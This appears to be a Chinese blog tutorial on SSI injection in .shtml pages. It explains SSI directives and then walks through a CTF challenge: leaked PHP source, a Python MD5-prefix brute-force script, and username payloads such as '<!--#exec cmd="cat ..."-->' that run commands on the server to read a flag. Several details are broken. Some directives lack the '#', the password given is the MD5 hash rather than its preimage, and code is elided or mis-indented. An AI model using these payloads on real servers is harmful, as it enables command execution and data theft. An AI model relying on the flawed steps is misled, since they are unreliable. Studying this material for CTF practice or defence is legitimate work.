shtml之SSI漏洞

shtml之SSI漏洞

shtml

1
shtml不是HTML,而是一种服务器的API,shtml也是服务器动态产城的html,且是一种基于SSI技术的文件

SSI

1
SSI是服务端包含注入,允许远程在web应用中注入脚本来执行代码,即SSI是嵌入HTML页面的指令,可以在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,无需通过CGI程序提供其整个页面。

启动SSI

Apache默认是不开启SSI,SSI这种技术比较少用,可以手动关闭服务器对SSI的支持,而如果想要使用SSI功能,则可以在Nginx配置SSI功能,即在Nginx配置文件中的http端加入下面几句

1
2
3
ssi on;
ssi_silent_errors off;
ssi_types text/shtml

SSI语法

在SHTML文件中使用SSI指令引用其它的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端

显示服务端环境变量<#echo>

显示本文档的名称

1
<!--#echo var="DOCUMENT_NAME"-->

显示现在时间

1
<!--#echo var="DATE_LOCAL"-->

显示ip地址

1
<!--#echo var="REMOTE_ADDR"-->

将文本内容直接插入到文档中<#include>

1
2
3
4
5
6
7
<!--#include file="文件名称"-->

<!--#include virtual="index.html"-->

<!--#include virtual="文件名称"-->

<!--#include virtual="/www/footer.html"-->

注意:file包含文件要在同一级目录或其子目录,但不能在上一级目录中,而virtual包含文件可以是web站点上的虚拟目录的完整路径

显示WEB文档相关信息<#flastmod><#fsize>

文件最近更新日期

1
<!--#flastmod file="文件名称"-->

文件长度

1
<!--#fsize file="文件名称"-->

直接执行服务器上的各种程序<#exec>(如CGI程序或命令行程序等其他可执行程序)

扫描当前目录

1
<!--#exec cmd="ls"-->

查看当前目录

1
<!--#exec cmd="pwd"-->

查看当前文件

1
<!--#exec cmd="cat /etc/flag"-->

查找文件名叫flag**的位置

1
<!--exec cmd="find / -type f -name flag*"-->

或者是GUI程序

1
2
3
<!--exec cgi="文件名称"-->

<!--#exec cgi="/cgi-bin/access_log.cgi"-->

注意:这个SSI指令是将某一外部程序的输出插入到页面中,可插入CGI程序或常规应用程序的输入,而这里的cmd参数则是插入命令行程序的输入,而cgi参数则是插入CGI程序的输入

设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)

高级SSI可设置变量使用if条件语句

SSI注入条件

页面只有一小部分是动态输出的时候使用SSI的,如

1
2
3
4
5
6
7
文件相关的属性字段

当前时间

访问ip

调用CGI程序

条件

1
2
3
4
5
WEB服务器已经支持SSI(服务端包含)

WEB应用程序未对相关的SSI关键词进行过滤

WEB应用程序在返回HTML页面时,嵌入用户输入

注意:而要判断是否是SSI漏洞,可以看一下有没有.stm文件或.shtml文件

实例

当我们可看见页面后,用dirsearch扫描,发现有index.php.swp泄露,所以访问index.php.swp文件,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

从源码中我们看到get_hash()是用来生成文件名的,而看到文件类型为shtml,可以猜测可能是SSI漏洞,但是我们需要经过

1
if ( $admin == substr(md5($_POST['password']),0,6)) 

但是password是固定的,因为

1
$admin = '6d0bc1';

所以我们可以写一个exp

1
2
3
4
5
6
7
8
import hashlib

for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

if a[0:6] == '6d0bc1':
print(i)
print(a)

所以password=6d0bc1153791aa2b4e18b4f344f26ab4,绕过if

而这行代码可知

1
2
3
4
5
6
7
8
9
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);

可以猜测username的值会写入到shtml文件中,所以可以写入SSI指令来读取信息,所以构造

1
username=<!--exec cmd="ls"-->&password=6d0bc1153791aa2b4e18b4f344f26ab4

来查看当前目录,然后构造

1
username=<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->&password=6d0bc1153791aa2b4e18b4f344f26ab4

读取flag文件

详细请看:https://blog.csdn.net/qq_40657585/article/details/84260844